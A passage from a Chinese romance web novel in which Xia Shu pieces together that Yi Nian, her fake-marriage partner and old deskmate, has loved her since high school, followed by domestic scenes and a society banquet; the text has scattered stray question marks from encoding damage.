夏树掀开眼睫与易年对视,一瞬之?间感到鼻尖发酸,眼波不?受控地晃动,喉咙里像是堵着一团棉花,不?上不?下。 易年见状立刻从座椅上起来,轻柔地抚上夏树的后脑,慌忙道:“怎么了,我手机里有你不喜欢的东西?还是有你不?喜欢的人?” 夏树说不出话来,摇了摇头。 易年看得更着急了:“你别这样吓我好不?好,你不?喜欢什么直接删掉就?好了,我保证今后再也不?让你看见!” 夏树仰头看他,却理不?出?任何头绪,她向前一步,不?自?主地将双手环上他的腰。 他无所适从地怔在原地,心?跳声响亮,又快,快到似乎欲将他的胸腔撞破,但这“咚咚咚”的声音却莫名让她心?安。 “谢谢你,一直记得我叫金鑫鑫。”半晌,她才说。 直到夏树的声音传达至耳朵,易年才松了一口气。 这是?她第一次在清醒的情况下主动抱他,他慢慢地也将双手放在对方的后背。 但与以?往他主动拥她入怀时不?同,这次,他很小?心?,更加珍视这个拥抱。 “我还以?为,你是?看见什么东西生气了呢!”他说。 “没有,只是?没想到……” 夏树的话戛然而止,她没继续往后说,准确来讲,应该是?不?知道怎么表达此?刻心?里的感受。 易年低声笑笑:“有什么可想不?到的,我记性好你又不?是?不?知道,从你第一次说了这个名字,我就?记得。” 易年的思绪都随着话题回到高一开?学第一天。 在开?学前,易年就?知道了自?己的分在一班,开?学那天,进到学校,初中同班同学遇到他,就?约着他一起去看看分班情况,当时时间还早,他便一起去了。 公示栏上,每个班的学生学号按照入校成绩排名,易年的名字排在一班第一个。 来都来了,他想着再看看同班有没有熟人,却在最后一行?看见了两个字——夏树。 他盯着那两个字看了几秒,冷冷地自?言自?语:“夏、树,怎么会有人叫这个名字。” “夏树这个名字怎么了?” 一道清冽悠扬的女?声在他身旁响起,他低下头,视线所及之?处,竟然是?假期里见过的那个独自?卸饲料的娇小?女?生。 那时隔着小?溪,女?生的脸看得不?真切,而当两人距离不?过半米时,看清这张好看的脸蛋,却有一种时空错乱的感觉,耳旁似乎听见了那天小?溪的水流声。 女?生抬着下巴,眈眈地觑着他,似乎在等他的答案。 他敛了敛眼底的惊讶,平淡地看向她:“你没有看过《头文字D》?” 女?生眉心?轻蹙,摇了摇头。 “那是?一部电影,”易年抬下巴指向分班表,“这个名字和里面的女?主角一样。” “十多年前的老电影?”她问。 “不?是?,前些年的。” 她不?屑的轻嗤一声:“那不?就?得了,上高一起码十五六岁,怎么要?说这个名字和电影人物一样,反过来说电影人物起的跟她一样还差不?多。” 女?生语气咄咄,说完转身就?走,在她走出?几步后,易年叫住了她。 “喂,一个多月前,咱俩见过,你记得吗?” 她不?耐烦地停下脚步,回头,语气不?咸不?淡:“然后呢?” 易年双手插兜,站在原地:“就?,觉得挺巧!我叫易年,你叫什么名字?” “我叫……”她瘪了瘪嘴,眼睛瞟向公示栏,“我叫金鑫鑫,金子的金,三个金的鑫。” 思绪到了这里,易年在夏树的脑门上轻轻弹了一下:“我很少?主动跟别人说话,更别说对方是?女?生!第一次跟你说话你还不?告诉我真名,我不?得好好记着!” 50-60 第51章 从易年办公室出来时,夏树脚下像是踩在云层上,每一步都?是虚浮的。 易年是Earth这个信息还未消化,她的脑海里快速闪过一个早已忘记的高中时的片段。 高三毕业前夕,女班长提议全班凑钱给老?师们买毕业答谢礼物和?答谢鲜花,易年是男生班长,女班长找他商量时夏树就在旁边。 夏树原以为易年会以耽误复习之类的推拒,但他却?直接说这事交给他就行。 那时临近毕业,夏树周末基本上都?留在学校里不?回家,一个周末的早上,易年给夏树打了电话,说中午来接她一起去给老?师们挑礼物,理由是他是男生,不?太清楚女老?师们的喜好。 那时因为沾着?活财神的光,对于?易年的请求,夏树几乎都?不?会拒绝。 当天她以为是要去商场之类的地方选礼物,结果易年只是将她带到了一个花店,说让她帮忙分析哪位老?师适合什么花。 夏树对鲜花的品类并不?熟悉,她说她也不?懂怎么选,易年说他更不?懂,最后是由店员向两人一一介绍所有花的品种、花语和?寓意。 在鲜花店大概逗留了一个多小时,送给老?师们的花和?包装的款式终于?全部都?确定下来。 等待店员开单的间隙,夏树坐在花店的小凳子上歇脚,易年把一张用来包装花的废弃雪梨纸团成?一团飞掷到夏树面前。 “你有病啊!”夏树捡起雪梨纸扔回去,并瞪了他一眼。 易年头往左边一偏,避开了纸团,他重新捡起纸团,无?所事事地摊开又揉成?团:“没想到这些?花名?堂居然这么多,每一种的意义都?不?一样?。” 夏树揶揄道:“我还以为你这学霸脑子什么都?知道呢,没想到今天让我碰上你的认知盲区了!” 放在往常,夏树这样?说,易年肯定会臭屁地反驳夏树,可他只是轻轻抽动唇角:“嗯,确实。” 夏树刚刚和?店员讲价磨完嘴皮子,口干舌燥,没精力和?易年东拉西扯,便没回话。 片刻后,一声轻咳作为开场,易年漫不?经心问:“那你呢,刚刚看了这么多花,有没有你喜欢的?” 夏树手掌托着?半边脸,想了想,那些?花她好像都?不?喜欢。 花枝被剪下来,哪怕拿回家插在营养液里,再好看也只是短暂的繁荣,过不?了几天还是会衰败,最后会被扔进垃圾桶。 夏树的脚边刚好有几盆小小的茉莉盆栽,看着?细细的枝干在泥土里自由生长的样?子,它们与那些?美丽的名?贵花不?同,即便是花期过了,所有花苞都?落下,来年它们还会继续长出花来。 夏树脱口而出:“那些?我不?喜欢,非要选的话,我选茉莉。” …… 这是原本早就被夏树遗忘的记忆片段,像是莫名?被触发了某个按钮,竟然将那天的场景活灵活现地在脑海里重播了一遍。 而同样?在此刻重播的画面,还有毕业那天,易年手上抱着?的那束茉莉。那虽然不?是盆栽,没有泥土,但那束茉莉,朵朵都?开得娇艳烂漫。 饶是再迟钝的人,也免不?了将这两个记忆点联系在一起。 ——所以,易年当年想表白的人,会不?会就是…… “叮”的一声,电梯门打开,夏树仍旧愣在原地。 此刻心里的这个猜测,比猜易年是她电台铁粉还要大胆。 直到有人按了电梯,电梯门再次打开,她才回过神来。 她把费用申请交给财务,回洗车间的路上拨通了周雨唯的电话。 正值午休时间,周雨唯吃过饭后一直在玩手机,几乎秒接:“姐姐,终于?舍得联系我啦?这么多天给你发信息都?是延迟好久才回,跟你老?公做同事,跟你老?公同居,就这么忙啊!” “雨唯,我有个事想问问你。” “怎么啦,听你声音这么严肃,是让我爸妈去参加你订婚宴的事?放心,我已经跟他们说好了。” “不?是这个……”夏树顿了顿,“我想问你,当年,毕业那天……” “毕业那天怎么了,你倒是快点说呀,磨磨蹭蹭吊我胃口!” 夏树吸了一口气调整呼吸,随后道:“那时候,你为什么要说易年的情书是写?给级花林晚鑫的,你见到的易年的情书碎纸上写?了什么?” “情书碎纸?我想想……” “好像是一个‘鑫’字,一个逗号,还有一句‘我喜欢你’吧,你怎么突然想起问这个?” 一瞬间,夏树身上起了一层鸡皮,抿了抿唇,继续问:“所以说,你并没有看见林晚鑫的名?字,也没看见其?他人的名?字,就只是看见了一个‘鑫’字?” “嗯,是这样?没错!” “那你怎么确定那是他写?给林晚鑫的情书?” “是因为什么来着?,我想想……”周雨唯在电话那头手捏下巴思索着?,“对了,想起来了,因为那天快到我们班拍照时候,老?班让我们去集合同学来着?,我看见易年坐在紫藤花架旁边的台阶上,林晚鑫站在他旁边,手里还抱着?先前易年拿着的那束花。” “紫藤花架不就是咱们学校的表白圣地吗,后来我们叫他拍照,不?知道他是怎么回事,害羞还是什么,反正没搭理我们,直接就走?了。” “你到底问这个干嘛啊?” 夏树手指逐渐发颤,声音也在发颤:“这个事,我改天跟你说吧。” 挂了电话,她就近找了个台阶席地而坐,努力地回忆着?过往,想理清思绪。 当年夏树误撕了易年的表白信,并且跟他闹翻,她那时说过不?想听见任何和?易年相关的字眼。 几个月后,圣诞节当天,夏树和?职业学校的同学约着?一起出去看电影,到了电影院,碰到《头文字D》重映,其?他同学就说大家学的是汽修,而这个电影刚好和?车有关,不?如就看这个,夏树没有看过,自然也没意见。 在看电影的过程中,知道女主角叫夏树,又听见那首易年最喜欢的歌《一路向北》,她才反应过来,这部电影就是曾经易年跟她提过的那部女主角跟她同名?的电影。 想起了易年,电影散场,她的心里发堵,有遗憾,也有不?甘。 她之前从未想过,三年的同桌到了毕业那天竟然会剑拔弩张,不?欢而散。 在转场去酒吧的路上,她发信息问周雨唯,作为旁观者,是怎样?看待毕业那天她和?易年之间发生的事,周雨唯这才告诉她,其?实那天她拿错了信件,把要拿去卖的毕业祝福拿成?了易年写?给林晚鑫的情书。 一直以来,她都?以为那封信确确实实是易年写?给林晚鑫的,那次在青龙湖酒店和?易年一起喝酒,易年说记不?得林晚鑫,她都?没怀疑过那封信的主人是谁。 直到后来易年亲口否认了,她才知道,原来那封信的主人不?是林晚鑫,而是另有其?人。 易年的Earth这个身份。 易年一直知道她给自己起的“金鑫鑫”这个名?字。 易年的情书里面写?了“鑫”字。 易年的那一束茉莉花。 还有,从前和?现在,他对她所做的一切…… 这些?摆在眼前的每一条证据,似乎都?汇向夏树所猜想的那个结果- 往常下班回去的路上,夏树几乎都?会靠着?汽车座椅小憩,而今天,她坐在易年旁边,虚焦的眼神注视着?窗外,头脑异常清醒。 “今天怎么不?睡会儿?”易年问。 夏树肚子突然发出咕咕响,她便顺着?说:“有点饿了,睡不?着?。” 易年看了眼腕表,自然地抚上她的头顶,柔声道:“再坚持会儿,阿姨在做了,到家就能?吃了。” 夏树确实有些?饿了,一整个下午为了理清思绪,经历了一场头脑风暴,想来是动脑消耗了太多体力。 她嘴角不?自觉上扬,点了点头。 为了进一步认证自己猜想,她说:“要不?待会儿别?直接回家,我记得家附近有个花店,让沈师傅绕过去,买点花摆家里吧!” “你肚子都?开始叫了,我觉得目前最紧要的事是安抚一下你的肚子,想买花我可以让我助理定!” 夏树轻轻摇晃着?易年的胳膊,眼睛巴巴看着?他:“就先去买花吧~” 易年哪里受得了眼前这女人娇滴滴的模样?,他牵着?嘴角:“好好好,先去买花!不?过你怎么会突然想要买花?遇到什么开心的事了?” 夏树抿了抿唇,将视线移到车窗外,快速想了个理由:“就感觉家里没有绿植,缺了点生机。” 沈师傅按照易年提供的新路线,把车子开到家附近的花店门口,易年准备开车门,夏树对他说自己在车里等他。 “你不?下去挑挑?”他问。 夏树按照自己盘算好的说辞解释:“我肚子好饿,走?不?动,而且我喜欢的花就那一两个品种,没什么好挑的!不?然你看着?买吧,不?要买多了,就买一样?,拿回家放着?意思一下就行了。” 易年眉头微蹙,察觉到夏树的反常,却?也没多想,更多的是享受她对自己提要求和?有所期待的这个过程。 易年下了车,夏树一直扒在窗边看着?他,几分钟后看他抱着?一个盆栽走?出花店,夏树心中的雀跃油然而生。 车门才被打开,浓郁的茉莉香瞬间灌进夏树的鼻腔。 那是一股沁人心脾的甘甜,芳香四溢,淡雅迷人,似乎能?让一切烦恼烟消云散。 她清了清嗓,伸手接过易年手中的茉莉盆栽,视线落在花苞上:“你怎么想起买茉莉?” 夏树的语气平缓,易年以为她有鄙夷,问道:“你现在不?喜欢这个花了?那想要什么,我再下去买!” 易年的话再一次证实了夏树的猜想,他记住了当年她随口一说的喜欢茉莉。 不?仅是当年记得,一别?多年,他仍旧记得。 经过一整个下午一遍又一遍地强调那句猜测,此刻夏树的想法得到证实,已经不?再觉得有多么的不?可思议。 她将鼻尖靠近花苞,轻嗅。 脑子里最多的想法是,茉莉,真好闻。 这是她第?一次发觉,幸福感和?满足感原来可以具体到一种味道。 “没有,我很喜欢。” 易年坐上车,将侧脸凑到夏树面前,食指在脸颊上指了两下:“喜欢的话,不?得给我个奖励!” 但是紧接着?,另一股酸涩味道就倏地攀上夏树心头,脸上的笑容在一秒钟之内消失。 她顺势掐了下易年的脸颊,语气冷冽:“说说吧!” 易年心里还妄想着?她会亲自己一下,脸上的刺痛却?让他猝不?及防。 他五官挤到一起,挫着?被掐的地方,委屈巴巴地看着?夏树:“啊?要,要我说什么啊?我又做错什么事了?” “解释解释,”夏树把茉莉重新放回易年手上,抱起双臂,质问道,“当年你要表白,抱了束茉莉,你之前亲口说你不?认识级花林晚鑫,那当年那束茉莉怎么会到了她手上!” 第52章 对于夏树的一反常态,易年有?些招架不住。 她有?时深情看他,有?时又像是?要找他麻烦……他猜测,难道是?共处一室,接吻,这个过程太过激进?,吓到她了,所以?她一整天的状态才会?和先前不一样。 原本他只想和她顺其自然发展,觉得日久总能生情。 但是?作为一个血气方刚的正?常男人?,自己喜欢的女人?就躺在身侧,哪有?能不为所动的! 说实话,接吻都算得上是?他一再克制后的举动了! “是?不是?……”他眉心微皱,谨慎小心地询问,“我昨晚上,没有?完全征得你的同意,就吻你,所以?你生气了?” 提到接吻,夏树先是?眸色闪动,随后及时收住那一丝羞赧,面色微沉:“别跟我东扯西拉的!正?面回答我问题!” 易年先前只顾着揣度夏树的态度,而忽略了她实质上问的问题,他此刻才开始回忆,关于七年前表白失败后发生的事。 那时候他本来?是?想手捧鲜花,把夏树约到学校的恋爱圣地紫藤花架下面表白的,那天定的茉莉花束送到学校门?口,他出去取了花,回来?就看见夏树拿着他的表白信,所以?才有?后面的一系列情节。 “那天被你咬了之?后,那束花,我手疼,有?点拿不动……” 夏树咬的是?真的狠,他手疼是?真的,但他也不敢说自己那时候表白失败,看见那束花就烦。 夏树不以?为然地轻笑一声:“怪我咯?” “没!我哪有?那狗胆怪你!是?我怂,我菜,我肌无力?!我当时是?要把花‘放’垃圾桶来?着,但是?我记得我路过紫藤花架,旁边的垃圾桶口径有?点小,塞半天没塞进?去,我就给它放垃圾桶旁边的地面上了。” “你放地上?那它自己长脚跑林晚鑫手里的?” “林晚鑫……我想想,那时候确实有?个女生来?跟我说话,但是?我不知道是?谁,看都没看人?家一眼,我只记得她把花捡起来?,跟我说之?前还?见我拿着,怎么就把它放地上了,我不想说话,但她一直在旁边站着,我嫌烦想把她支开,就说了我不要了,麻烦她帮我拿去丢。” 易年说得谨慎又真诚,夏树细细听着,本能反应是?易年不会?对她撒谎。 她撮起嘴,轻咳一声:“没了?” “我保证!”他竖起三根手指,比着发誓的动作。 车子?继续往家的方向开,夏树终于消停了下来?。 刚刚那一瞬的较真劲儿过了之?后,她觉得自己有?点搞笑。 这是?八百年前的老皇历,她居然还?会?翻出来?再炒一遍。 且不说当时的前因后果就是?她的失误造成的,哪怕没有?那些失误,就算易年当时真的要跟别人?表白,那应该也和她无关。 此刻是?她近段时间以?来?心绪最乱的时候,想不明白的事情实在太多太多。 她摸出手机,打开搜索引擎,打下几个字“为什?么会?在意一个男生的曾经”,但是?跳出来?的结果看得她头皮发紧。 【为什?么女生会?在意另一半的过去】 【在意对象的前任怎么办】 【为什?么女生那么在意男朋友的感情史】 …… 搜索出来?的关键词条,几乎都离不开“男友”、“对象”、“另一半”。 然后点进?词条,解释的意思几乎相差无几,说的都是?女生太喜欢男生,没有?安全感,存在比较心理,对男生缺乏信任度…… 对于夏树来?讲,易年已经给足了她安全感,所以?这条不算。 比较心理,也谈不上,她不认识林晚鑫,只是?知道她级花的名号,没什?么好跟她比的。 对他缺乏信任度更是?无稽之?谈,她能相信的人?拢共就那么几个,易年肯定排在前头。 所以?只剩下最后一条——女生太喜欢男生- 回到家,保姆孙阿姨已经做好了几样家常小菜,夏树和易年如往常一样,面对面坐在餐桌,但是?她心境已经完全不同于平时。 夏树没吃下几口,就把碗筷放到桌上,双手无所适从攥着,问他。 “易年,你是?不是?喜欢我?” “喜欢啊,我不是?已经告诉过你吗。”易年被问得发懵,也一同放下碗筷,“你今天,受刺激了?怎么总是?问一些奇奇怪怪的问题。” 夏树也不知道自己怎么了,总是?前言不搭后语,她又重?新抬起碗:“没什?么,吃饭吧。” 易年则是?掏出手机,给助理何铭发了信息,让他把夏树出了他办公室后的监控视频调出来?,顺便打听打听洗车间下午有没有发生什?么特别的事。 发完信息,他才重?新抬起了碗,但视线仍时不时就聚在夏树身上。 不多时,夏树再一次放下碗筷,手托着下巴,微微蹙眉,自言自语:“怎么会呢?” 怎么会?呢,他怎么会一直喜欢她呢…… 高中的时候,她就是?一个农村来?的养殖户家的女孩,说话有?口音,皮肤比市区的同学黑一度,其他女生夏天穿好看的体恤,冬天就把好看的外套套在校服外面,而她无论什?么时候身上都只有?校服。 别人?多才多艺,她却什?么都不会?,连张口就来?的唱歌都能跑调。 易年,学校的风云人?物,许多女生的倾慕对象,凭什?么就喜欢她?! 重?逢后与易年达成合作假结婚,只认为是?各取所需,她什?么都没往心里去。 现在,在知道易年一直从前就喜欢她,而她似乎也对他的心意有?所动摇的时候,她反而开始顾虑起阶级差这样俗气的问题。 夏树并?不觉得自己很?差,也从来?不会?妄自菲薄,但是?想到两个人?的感情问题,总会?不可避免地从现实出发,觉得找不到他与她之?间的平衡点,觉得单从外在条件来?说,两人?并?不相配。 比如,学历、受教育程度、家庭、人?脉圈,等等…… “嗯?你说什?么,怎么会?什?么?”他问。 夏树身体里的每一个细胞都被唤醒思考着问题,她怔怔地与易年目光相对,突然察觉到身下一阵暖意,下意识看了眼手机的日期,果然是?生理期,便捂着小腹跑回卧室- 洗换好,夏树趴在床上摆成一个“大”字,放空了脑袋。 卧室门?突然被叩响。 “今天还?继续讲课吗?”易年在门?外问。 “不讲了,吧。” “那我方便进?来?吗,我让孙阿姨给你泡了红糖水。”? 他怎么知道? 夏树丛床上爬起来?开了门?,接过易年手上的红糖水道了声谢。 “还?有?这个,贴上应该会?舒服点。” 易年的另一只手上,居然是?一摞暖宝宝。 “水喝了,这个先贴上,门?别着急关,等我一下。” 夏树愣头愣脑地接过暖宝宝,照着易年的话喝了红糖水,又将暖宝宝贴在衣服上。 几分钟后,他拖着一个带滚轮的泡脚桶进?入卧室,还?没等夏树开口问,便主动答疑解惑:“原来?上学的时候,每个月这几天你对我都特别凶,那时候大概就猜到了,你搬过来?后,为了更全面地照顾你,我又向小保他们打听了你的?*生活习惯。” 刚才的红糖水喝下去,胃里暖暖的,暖宝宝贴上后,小腹暖暖的,再听易年如此一说,心窝子?也开始攀升暖意。 “谢谢。”夏树像是?丧失了语言能力?一般,除了感谢的话,真不知自己还?能说点什?么。 “不过,泡脚会?不会?太夸张了,”她的眼睛指向放在边柜上的红糖水空杯子?,“我平时顶多就喝杯红糖水。” 易年并?未理会?夏树的话,而是?牵着她坐到卧室的沙发上,把泡脚桶插上插座,自作主张替她拖了鞋,将她的脚放进?泡脚桶。 “原来?你是?一个人?,现在有?我了,所以?现在和原来?,不一样。”他说,“里面加了中药包,专门?针对生理期的,泡完会?舒服点。” 以?前真的没有?人?为夏树做过这些事,以?现在的心境再来?感受他对自己的好,发现对方的这份心意实在太过厚重?。 泡脚桶里的水汽不断蒸腾着,她的眼眶随之?莫名湿润。 她将脑后发髻扯散,侧过脸去,抓了些碎发遮住眼睛,不想被他看见。 易年则是?盘腿席地而坐,就守在她旁边。 夏树视线所及之?处,正?好有?一个装饰的网球拍挂在墙上,她调整好状态,问道:“第一次在医院见你那天,你好像跟雯溪姐打网球来?着,你很?喜欢打网球吗?” 易年毫不犹豫点了点头:“喜欢。” “怎么后面也没听说你去打过?” 易年双手向后杵着地毯,思索道:“一来?是?我太忙,因为后来?接手酒庄,有?很?多事等着我亲自处理,二来?是?如果我去打球,想约你一起,以?我对你的了解,你应该会?以?忙和不会?打拒绝我。” “所以?你干脆就不去了?” “嗯。” 易年说的的确有?道理,夏树知道网球事贵族运动,要是?他平白无故约自己,自己肯定不会?去。 那,他这算是?为了她而放弃一些原本存在于自己生活轨迹里的东西? 这应该就是?阶级差所带来?的一些影响吧。 夏树有?些沮丧,垂下头去,虚焦的视线落在震动的水面上:“我们两个之?间是?有?差距的,如果你真跟我在一起了,你的生活还?是?会?被影响,也可以?说是?妥协……比如,你打网球这件事。” “我们之?间的差距,到底最后谁迁就谁?如果是?你,你的身份,注定了你不太可能脱离上流社会?来?贴近平民生活。” “如果是?我,那让我如何做?就当个无所事事的贵太太?我想我不会?愿意。” 说完这话,空气静止了几秒,房间里只听得见泡脚桶运作的嗡嗡声。 随后,易年轻柔地拨开顺在夏树脸侧的发帘,将发丝放在她的肩后,指背轻抚过她的脸颊。 “夏树。”他认真唤她。 “我所盼望的跟你之?间的感情,不是?我居高临下受你的仰望,不是?你为我放弃本心画地为牢当金丝雀,也不是?一心只想着情情爱爱,终日彼此对视。” “我所盼望的,是?我们两个人?共同瞭望一个方向,对感情的态度一致,对家庭的期待一致,对未来?的规划一致,说白了就是?最终的目标一致。” 听到这里,夏树才掀开眼帘看他。 他的眸子?沉着又坚定。 “要做到这样,很?简单,要么是?我放弃一些东西,往低处走,要么是?你输入一些东西,往高处走。我自作主张替你选了输入知识,教你做生意,不是?我舍不得放弃那些身外之?物,而是?我觉得,你愿意变得更好。” 易年的一字一句振聋发聩,精准地击中了夏树的命门?。 他好像很?了解她,了解她的顾虑,了解她会?为顾虑做出何种选择。 夏树鼻尖发酸,泪珠夺眶而出。 眼前这个人?,这个喜欢她的男人?,竟然美好得这么不切实际。 第53章 以前夏树从不矫情,遇上易年?后,好像不一样了,居然能在他面前肆无忌惮地落泪。 “怎么就哭了?” 易年?无措着,心疼着,想伸手替她抹泪,她把脑袋偏向一侧,自己曲起食指,利索地在下?眼睑划拉两下?。 她嘟着唇,瓮声瓮气假意责怪:“我怎么知道我为?什么哭!要不就是泪腺坏了,要不就是你有毒,你说的话也有毒,熏到?我的眼睛了!” 易年?先是温声一笑,随后揉着夏树的发顶:“哎,这位同学,连哭都这么要强啊,就大大方方承认被我感动了不就得了!我知道我很好啊,脸帅身材好,多金守男德,为?我哭很正常,我也批准!而且咱俩这把关?系,还有什么不好意思的!” “???”夏树的泪硬生生被憋了回去。 她回过头,用警告的目光盯着易年?。 人家在这梨花带雨,你年?哥话里话外非得表扬自己两句?! “咔嚓——” 还没等夏树反应过来,易年?就抬起手机对着她按下?快门。 “尴尬了,快门声音居然没关?!”他懒洋洋道。 夏树的目光更锐利了:“你干嘛?” “小哭包难得一见,我不得拍张照留个纪念。”他垂下?眼,两根手指划着屏幕,将照片慢慢放大,随后将屏幕亮在夏树眼前,“还别说,这张脸哭着也那么好看。” 好贱一男的! “刚刚说你有毒,三分肯定?七分猜测,现在,你百分百有毒!”夏树的眼神能把他刀了。 易年?根本不惧鼻尖发红的夏树,甚至觉得软软糯糯,有些可爱。 他从地毯上起来,坐到?夏树旁边,才一抬手,夏树就预判到?他的动作,敲了下?他的手臂:“有毒的人别来搂我。” 她打得是真?重,怪下?得去手,易年?故意眨巴几下?眼睛,瘪瘪嘴搓了搓被打的地方,又强制用宽实的臂膀将她揽入怀中。 “好了,不逗你了。”他的声音柔软,“我怎么舍得看你哭,不这样跟你说,你能立马收住眼泪吗……” 夏树的脚还在泡脚桶里,上身别扭地歪斜着,却也没再挣脱。 易年?的手掌自上而下?扶着夏树的发丝,鼻尖慢慢向她靠近,在她耳畔厮磨。 “今晚,我回卧室睡。”- 不出意外的话,接下?来一段时间,易年?都会回他的卧室睡。 理由是,孙阿姨从钟点?上户改成了住家服务,因为?易年?妈妈给?的煲汤料包,很多都需要一大早就起床提前煲着,怕孙阿姨把两人分房睡的事不小心透漏出去,所以他必须回卧室睡。 而且作为?他妈妈口中“纵欲过度”的年?轻人,是没有资格拒绝任何的食补。 有了上一次独处一室的经历,夏树全身的细胞都紧绷着,但易年?迟迟未动,两人中间始终保持着一段距离。 夏树翻身扯动被子,他没反应,将枕头翻了一个面,过程中两人枕头拉开了一小段距离,他也没反应。 嗯……倒也不是说期待他挨着啦,就是觉得他突然矜持起来,有点?不习惯,仅此而已~ 易年?早就将夏树窸窸窣窣的小动作看在眼里,侧过身,面对着她,正义凛然道:“我还是得跟你保持点?距离。” 夏树原本是背对着她的,听?见声音,躺平,侧头看他。 “我妈给?的那些煲汤的料包,都是大补的,我这只进不出,每天再挨着你的话,会憋坏的,要是坏了,今后可就委屈你了。” 噗…… 他的话,夏树秒懂。 不过嘛,说得确实有道理。 她的脸颊微微发烫,好在房间里只留了一盏小夜灯,对方并?看不见她脸色的变化。 “但是话说回来,你都为?我哭了,就不能干干脆脆答应我的追求,做我名正言顺的女朋友和老婆?” “这个……” 夏树静默片刻。 短时间内,脑子里接收到?了太多爆炸性的消息,整个人还在浑然中。 关?于跟易年?实质性关?系的转变,她还没准备好,要让她立刻答应,总感觉有点?赶鸭子上架,对自己不负责,对对方不负责,对这段感情也不负责。 “你,再给?我点?时间吧。”她话语中带着试探。 易年?释然地叹了口气:“好吧。” “那我今晚跟你说的,让你不停输入,你愿意吗?” “当然!”说起这个,夏树略微有些激动,也侧过身来看着他,“说实话,你第一次跟我讲课,那天不是讲到?很晚嘛,后来到?天亮,我几乎都没怎么睡。” 易年?玩世不恭地勾唇:“是我这张脸太帅了,一直盯着没看够,还让你想到?失眠?” “屁呀!”那时候夏树的关注点?真?不在易年?脸上,“你那天讲得内容浅显基础,但是那些道理也好规则也好,几乎都能套在我开的汽修厂上,那一夜我重新将原来开厂的思路复盘了一遍,又发现了很多问题,和可以拓展收益的项目,比如后来我俩的视频火了,有人来打卡,院子里经常站不下?人,我完全可以把顶楼收拾一下,弄几个露营桌,卖点?茶水什么的……” 夏树滔滔不绝地讲着自己这段时间以来的收获,易年?也认真?听?着,时不时提出自己的见解或者指正夏树思路的误区。 约莫一个小时后,夏树口干舌燥,起床喝了口水后,才将话题中断。 “所以,无论你是出于何种目的,我真?的很感谢你能毫无保留地引导我!”夏树模样真?切,甚至对易年?生出些崇拜,“就单单说一个商业精英教别人做生意这一点,无论教?谁,谁都是赚的!” 易年?平时和夏树斗嘴惯了,她这简单夸的几句,让他的嘴角一点?也压不住。 他得意地轻咳两声:“纠正一下?,你可不是别人,而且除了你我谁也不教?。” 气氛轻松又愉悦,夏树顺势把易年?往高处捧,双手抱拳:“我居然是易老师的关?门弟子,荣幸之至!” 易年?被夏树一本正经的模样逗得笑出了声,他支起手臂,凑近夏树,在她额间轻轻落下?一个吻。 “要想学得会,要先跟师傅干什么来着?” “???” “!!!” “滚!” 女人手脚并?用,紧接着,男人和地面来回个亲密接触- 周末,易年?带夏树参加黎卓组的局。他说想让夏树编织自己的人脉网,为?今后做自己的事业铺路。 夏树是愿意拓展人际关?系的,但是又觉得易年?太看得起她了,能参加黎卓组的局的人,想必也是上流社会精英人士,他这直接让她横插进精英局,她多少有点?心虚。 所以在去的路上,为?了掩饰自己的紧张,她一会儿说礼服太紧,一会儿说鞋跟太细,一会儿说这个妆化的太难受,她连揉眼睛都不敢。 易年?一遍又一遍宽慰她,今后慢慢就会习惯的。 宴会包了离阳市最好的五星级酒店的宴会厅,规模比夏树想象中的大,每个人都是盛装出席,场景和电视剧里看到?的浮夸场面相差无几。 夏树和易年?进门,还没见到?黎卓,就有不少人凑上来打招呼。 易年?向众人介绍夏树的身份,夏树免不了被人询问职业范畴,夏树照实向每个人说现在和蓝韵合作洗车,但大家的反应出奇地一致,都是追问夏树是否在市区还有名车服务会所,夏树只能说目前还没有。 “夏树!” 熟悉的女声从宴会厅入口方向传来,夏树回头,易雯溪正朝她和易年?走过来。 “你还真?来了,难得啊!”易雯溪走到?两人旁边,敲了下?易年?的手臂。 “待会儿麻烦你了。”易年?懒懒道。 易雯溪少见易年?对她这么客气,抬着眉:“谁叫你是我弟,而我刚好又喜欢她们姐妹俩呢!” 夏树对姐弟俩的对话内容产生好奇,还没等她问,易年?就回头跟她说:“待会儿你就跟着我姐吧,她会带你去认识圈子里的女人,我估计也还得应付几个老总,你在旁边应该会觉得不自在。” 易年?这话才一说完,他就被另外一位西装笔挺的中年?男人走上了打招呼,并?引到?了一旁。 易雯溪则是自如地挽着夏树的手臂,开始跟夏树说易年?以前是如何如何不喜欢参加各种宴会,因为?很多人都会想把自家女儿或者是沾亲带故的名媛介绍给?他。 每次宴会他能推就推,实在推不了的只能叫着易雯溪一起参加,如果被人强行牵红线,易雯溪就赶紧上前找借口替他解围。 “你知道吧,他在离阳圈子里可抢手了,你出现以后,他身边最疯狂的一个追求者才收敛了点?。” “雯溪姐,最疯狂的,你说的是李若尔?” 易雯溪瞪大眼睛:“她找过你麻烦了?” “没有没有,我跟她原来就认识,前段时间还见过一次,她没找我麻烦。” 易雯溪一脸不可置信:“你们见过?她真?没伤害你?” “夏树,谁伤害你了?易年??所以你俩要分了吗?” 夏树和易雯溪谈话间,并?未注意到?李若尔已经走到?身后。 两人同时回头,李若尔和易雯溪微笑打招呼,模样还是和先前见过的一样,娇纵傲气,不可一世。 夏树不确定?对话被李若尔听?去多少,只答了她的问题:“没人伤害我,刚刚跟姐姐在开玩笑。” “我和易年?,”她目色坚定?,“我跟他很好,不会分。” 李若尔轻飘飘地笑笑:“行吧,要分了记得通知我,到?时候我再来追他。” 李若尔的话听?起来不像是挑衅,夏树想着经过上次的接触,跟她之间应该也不算太过生分,便故意冷着脸开起了玩笑。 “你当着我的面说要追我老公,不怕我在这里揪着你的头发跟你打一架啊?” 李若尔也配合着挑眉睨她:“谁怕谁啊,打呗!” 易雯溪真?以为?两人要在这里干仗,及时止住话头,并?下?意识护在夏树身前:“两位淑女,我呢不太建议你们砸黎卓的场子!” 她带着些微警告的语气,“还有啊,若尔,咱们两家的关?系,我觉得最好还是不要坏在你手上,以免彼此难堪。” 下?一秒,李若尔轻笑出声,夏树也赶忙解释:“不是不是,雯溪姐,我跟她开玩笑呢,不是真?的要打架!” “雯溪姐,我跟你弟媳妇之前一起喝过酒,还一起找过男模,关?系不是你想的那种。” “什么!你们,一起找男模?”易雯溪说。 这时,易年?突然出现在几人身边。 他拉过夏树的手腕,气愤地挤着眉头,低眼看她,丝毫不顾及在场的另外两人:“是我胸肌不够大,还是腹肌沟壑不够深,你又想找男模?” 此情此景,三位女士都有些傻眼。 夏树竟然还莫名其妙地心虚,眨巴着眼睛不知道说些什么。 易年?沉默片刻,眉尾向下?,神色开始变成妥协。 “光着身子跳凳子舞,我也不是不可以学!” 第54章 夏树,易雯溪,李若尔,三张脸上都?冒着问号。 光膀子跳椅子舞?他?易年? 